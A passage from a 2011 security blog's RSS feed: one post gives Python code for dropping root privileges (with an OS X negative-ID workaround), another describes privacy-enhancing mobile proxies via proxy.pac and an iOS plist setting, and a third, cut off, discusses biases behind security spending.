    Recently, I had a &lt;a href=&quot;https://github.com/singe/mobile-proxy/blob/a03105b12283ca1281b7762f5118888cc7c0b922/blackhole_server.py&quot;&gt;simple python program&lt;/a&gt; that created a listening socket, and was uncomfortable running it as root (required to access a port below 1000). I had a quick look around, and found &lt;a href=&quot;http://antonym.org/2005/12/dropping-privileges-in-python.html&quot;&gt;a good blog entry on doing exactly this&lt;/a&gt;. However, when running this on OSX, which uses negative UID and GID, I ran into a problem. It turns out that the negative ID is an offset from UINT32_MAX, i.e. 2^32+(-ve UID). The problem is, Python 2.7.1 (Lion&#039;s default) os.setgid() was returning an OverFlowError (but not in 2.7.2). I made a mod to the code to handle that case, and figured this pattern may be useful to others wanting to drop privs in a python app.&lt;br /&gt; &lt;pre&gt;&lt;div class=&quot;line&quot; id=&quot;LC5&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;grp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC17&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;safe_setgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC18&quot;&gt;	&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC19&quot;&gt;		&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC20&quot;&gt;	&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OSError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC21&quot;&gt;		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;Could not set effective group id: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC23&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;safe_setuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC24&quot;&gt;	&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC25&quot;&gt;		&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC26&quot;&gt;	&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OSError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC27&quot;&gt;		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;Could not set effective group id: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC28&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC29&quot;&gt;&lt;span class=&quot;c&quot;&gt;# Taken from http://antonym.org/2005/12/dropping-privileges-in-python.html&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC30&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;drop_privileges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uid_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;strong&gt;nobody&lt;/strong&gt;&#039;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gid_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;strong&gt;nogroup&lt;/strong&gt;&#039;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC31&quot;&gt;	&lt;span class=&quot;n&quot;&gt;starting_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC32&quot;&gt;	&lt;span class=&quot;n&quot;&gt;starting_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC33&quot;&gt;	&lt;span class=&quot;n&quot;&gt;starting_uid_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getpwuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;starting_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC34&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC35&quot;&gt;	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC36&quot;&gt;&lt;strong&gt;		&lt;span class=&quot;c&quot;&gt;# We&#039;re not root so don&#039;t drop, you may want to change this&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC37&quot;&gt;		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;drop_privileges: already running as &#039;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;starting_uid_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC38&quot;&gt;		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC39&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC40&quot;&gt;	&lt;span class=&quot;c&quot;&gt;# If we started as root, drop privs and become the specified user/group&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC41&quot;&gt;	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;starting_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC42&quot;&gt;		&lt;span class=&quot;c&quot;&gt;# Get the uid/gid from the name&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC43&quot;&gt;		&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getpwnam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uid_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC44&quot;&gt;		&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getgrnam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gid_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC45&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC46&quot;&gt;		&lt;span class=&quot;c&quot;&gt;# Try setting the new uid/gid&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC47&quot;&gt;		&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC48&quot;&gt;			&lt;span class=&quot;n&quot;&gt;safe_setgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC49&quot;&gt;		&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OverflowError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC50&quot;&gt;			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4294967290&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC51&quot;&gt;				&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4294967296&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC52&quot;&gt;				&lt;span class=&quot;n&quot;&gt;safe_setgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC53&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC54&quot;&gt;		&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC55&quot;&gt;			&lt;span class=&quot;n&quot;&gt;safe_setuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC56&quot;&gt;		&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OverflowError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC57&quot;&gt;			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4294967290&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC58&quot;&gt;				&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4294967296&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC59&quot;&gt;				&lt;span class=&quot;n&quot;&gt;safe_setuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC60&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC61&quot;&gt;		&lt;span class=&quot;c&quot;&gt;# Ensure a very conservative umask&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC62&quot;&gt;		&lt;span class=&quot;n&quot;&gt;new_umask&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;strong&gt;&lt;span class=&quot;mo&quot;&gt;077&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC63&quot;&gt;		&lt;span class=&quot;n&quot;&gt;old_umask&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;umask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_umask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC64&quot;&gt;		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;drop_privileges: Old umask: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, new umask: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;oct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;old_umask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;oct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_umask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC65&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC66&quot;&gt;	&lt;span class=&quot;n&quot;&gt;final_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC67&quot;&gt;	&lt;span class=&quot;n&quot;&gt;final_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC68&quot;&gt;	&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;drop_privileges: running as &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getpwuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;final_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;grp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getgrgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;final_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt; 
    </content:encoded>

    <pubDate>Mon, 14 Nov 2011 16:08:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1041-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Mobile Privacy-Enhancing Proxies</title>
    <link>http://www.singe.za.net/blog/archives/1040-Mobile-Privacy-Enhancing-Proxies.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1040-Mobile-Privacy-Enhancing-Proxies.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1040</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1040</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Modern web-browsers support all sorts of add-ons and plugins. From a privacy perspective, this means you can block adverts and trackers, use tools like GoogleSharing and other request re-directors. However, mobile devices typically don&#039;t have the same extensibility. While searching for a way to implement this, I came up with &lt;a href=&quot;http://www.singe.za.net/blog/archives/1020-GoogleSharing-For-Other-Browsers.html&quot; title=&quot;GoogleSharing for other browsers&quot;&gt;using proxy.pac&lt;/a&gt; as a way to do some more advanced network jiggery pokery, without requiring platform specifics (i.e. should work on iOS, Android or even Firefox &amp;amp; Chrome), or the need to jailbreak.&lt;br /&gt; &lt;p&gt;Unfortunately, 1984.za.net is down, and since then I&#039;ve done a bit more work on this. I presented this briefly in &lt;a href=&quot;http://www.slideshare.net/sensepost/a-brave-new-world-9962265&quot;&gt;my ITWeb presentation last year&lt;/a&gt; (slides 27-30), and figure it was about time to make this properly public. I&#039;ve put it up on my github at &lt;a href=&quot;https://github.com/singe/mobile-proxy&quot;&gt;mobile-proxy&lt;/a&gt; (have I mentioned I love github).&lt;/p&gt; 
&lt;p&gt;This is still pretty rough, but it proves the methodology and can be extended.&lt;/p&gt; 
&lt;p&gt;Two interesting things to come out of it are:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iOS Mobile Proxy Configuration &lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;You can edit the proxy used when your phone is on a mobile network (i.e. not wifi) by editing the file (once jailbroken): /Library/Preferences/SystemConfiguration/preferences.plist and adding the ProxyAutoConfigURLString key as below:&lt;/p&gt; 
&lt;p&gt;&amp;#160;&lt;/p&gt; 
&lt;pre&gt;&amp;lt;dict&amp;gt;
	&amp;lt;key&amp;gt;HTTPEnable&amp;lt;/key&amp;gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;
	&amp;lt;key&amp;gt;HTTPProxyType&amp;lt;/key&amp;gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;
	&amp;lt;key&amp;gt;HTTPSEnable&amp;lt;/key&amp;gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;
	&amp;lt;key&amp;gt;ProxyAutoConfigEnable&amp;lt;/key&amp;gt;
		&amp;lt;integer&amp;gt;1&amp;lt;/integer&amp;gt;
	&amp;lt;key&amp;gt;ProxyAutoConfigURLString&amp;lt;/key&amp;gt;
		&amp;lt;string&amp;gt;https://&amp;lt;host&amp;gt;/proxy.php&amp;lt;/string&amp;gt;
&amp;lt;/dict&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;It was pointed out on twitter that the &lt;a href=&quot;https://developer.apple.com/library/ios/#featuredarticles/FA_iPhone_Configuration_Utility/Introduction/Introduction.html#//apple_ref/doc/uid/TP40010176-CH1-SW30&quot;&gt;iPhone Configuration Utility&lt;/a&gt; should allow this to be done without the need to jailbreak. I&#039;ll test it and update things if it works. &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BlackHole Proxy&lt;/strong&gt; &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The second interesting thing, is that to block access to a website just redirecting to a non-existent server won&#039;t work as WebKit based browsers in particular will try again without using the proxy. Thus, a blackhole proxy was needed. Gert at Sensepost wrote a quick &#039;n fast twisted server for those purposes, and I extended it to drop privileges to reduce attack surface. It&#039;s included on github. &lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 11 Nov 2011 16:06:42 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1040-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Squinting at Security Drivers &amp; Perspective-based Biases</title>
    <link>http://www.singe.za.net/blog/archives/1039-Squinting-at-Security-Drivers-Perspective-based-Biases.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1039-Squinting-at-Security-Drivers-Perspective-based-Biases.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1039</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1039</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;Originally published on &lt;a href=&quot;http://www.sensepost.com/blog/6287.html&quot;&gt;SensePost&#039;s blog&lt;/a&gt;.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;While doing some thinking on threat modelling I started examining 
what the usual drivers of security spend and controls are in an 
organisation. I&#039;ve spent some time on multiple fronts, security 
management (been audited, had CIOs push for priorities), security 
auditing (followed workpapers and audit plans), pentesting (broke in 
however we could) and security consulting (tried to help people fix 
stuff) and even dabbled with trying to sell some security hardware. This
 has given me some insight (or at least an opinion) into how people have
 tried to justify security budgets, changes, and findings or how I tried
 to. This is a write up of what I believe these to be (caveat: this is 
my opinion). This is certainly not universalisable, i.e. it&#039;s possible 
to find unbiased highly experienced people, but they will still have to 
fight the tendencies their position puts on them. What I&#039;d want you to 
take away from this is that we need to move away from using these 
drivers in isolation, and towards more holistic risk management 
techniques, of which I feel threat modelling is one (although this entry
 isn&#039;t about threat modelling).

&lt;/p&gt; &lt;div class=&quot;entry_content&quot;&gt;&lt;strong&gt;Auditors
&lt;/strong&gt; 
&lt;p&gt;The tick box monkeys themselves, they provide a useful function, and 
are so universally legislated and embedded in best practise, that 
everyone has a few decades of experience being on the giving or 
receiving end of a financial audit. The priorities audit reports seem to
 drive are:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;Vulnerabilities in financial systems&lt;/strong&gt;. The whole 
audit hierarchy was created around financial controls, and so sticks 
close to financial systems when venturing into IT&#039;s space. Detailed and 
complex collusion possibilities will be discussed when approving 
payments, but the fact that you can reset anyone&#039;s password at the 
helpdesk is sometimes missed, and more advanced attacks like token 
hijacking are often ignored.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Audit house priorities&lt;/strong&gt;. Audit houses get driven 
just like anyone else. While I wasn&#039;t around for Enron, the 
reverberations could still be felt years later when I worked at one. 
What&#039;s more, audit houses are increasingly finding revenue coming from 
consulting gigs and need to keep their smart people happy. This leads to
